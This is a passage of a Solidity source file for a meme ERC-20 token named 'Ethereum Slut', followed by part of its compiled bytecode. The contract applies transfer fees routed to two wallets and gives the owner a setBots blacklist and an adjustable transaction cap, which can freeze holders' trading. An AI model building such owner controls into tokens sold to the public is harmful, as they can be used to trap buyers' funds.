uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Ethereum Slut"; string private constant _symbol = 'eSLUT'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 200000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b6040518082815260200191505060405180910390f35b60606040518060400160405280600d81526020017f457468657265756d20536c757400000000000000000000000000000000000000815250905090565b600061076b610764611855565b848461185d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a54565b6108548461079f611855565b61084f85604051806060016040528060288152602001613d0d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611855565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227f9092919063ffffffff16565b61185d565b600190509392505050565b610867611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611855565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233f565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243a565b90505b919050565b610bd5611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f65534c5554000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611855565b8484611a54565b6001905092915050565b610ddf611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611855565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124be565b50565b610fa9611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550680ad78ebc5ac62000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050506040513d602081101561160a57600080fd5b81019080805190602001909291905050505050565b611627611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178c606461177e83683635c9adc5dea000006127a890919063ffffffff16565b61282e90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d836024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cca6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d5e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c7d6023913960400191505060405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d356029913960400191505060405180910390fd5b611bc1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bc57601360179054906101000a900460ff1615611e95573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d655750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dab611855565b73ffffffffffffffffffffffffffffffffffffffff161480611e215750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e09611855565b73ffffffffffffffffffffffffffffffffffffffff16145b611e93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ea457600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f485750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5157600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffc5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120525750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561206a5750601360179054906101000a900460ff165b156121025742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ba57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210d30610ae2565b9050601360159054906101000a900460ff1615801561217a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121925750601360169054906101000a900460ff165b156121ba576121a0816124be565b600047905060008111156121b8576121b74761233f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122635750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226d57600090505b61227984848484612878565b50505050565b600083831115829061232c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f15780820151818401526020810190506122d6565b50505050905090810190601f16801561231e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61238f60028461282e90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ba573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240b60028461282e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612436573d6000803e3d6000fd5b5050565b6000600a54821115612497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613ca0602a913960400191505060405180910390fd5b60006124a1612acf565b90506124b6818461282e90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124f357600080fd5b506040519080825280602002602001820160405280156125225781602001602082028036833780820191505090505b509050308160008151811061253357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125d557600080fd5b505afa1580156125e9573d6000803e3d6000fd5b505050506040513d60208110156125ff57600080fd5b81019080805190602001909291905050508160018151811061261d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274857808201518184015260208101905061272d565b505050509050019650505050505050600060405180830381600087803b15801561277157600080fd5b505af1158015612785573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127bb5760009050612828565b60008284029050828482816127cc57fe5b0414612823576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613cec6021913960400191505060405180910390fd5b809150505b92915050565b600061287083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612afa565b905092915050565b8061288657612885612bc0565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129295750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561293e57612939848484612c03565b612abb565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e15750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f6576129f1848484612e63565b612aba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a985750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aad57612aa88484846130c3565b612ab9565b612ab88484846133b8565b5b5b5b80612ac957612ac8613583565b5b50505050565b6000806000612adc613597565b91509150612af3818361282e90919063ffffffff16565b9250505090565b60008083118290612ba6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b6b578082015181840152602081019050612b50565b50505050905090810190601f168015612b985780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb257fe5b049050809150509392505050565b6000600c54148015612bd457506000600d54145b15612bde57612c01565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565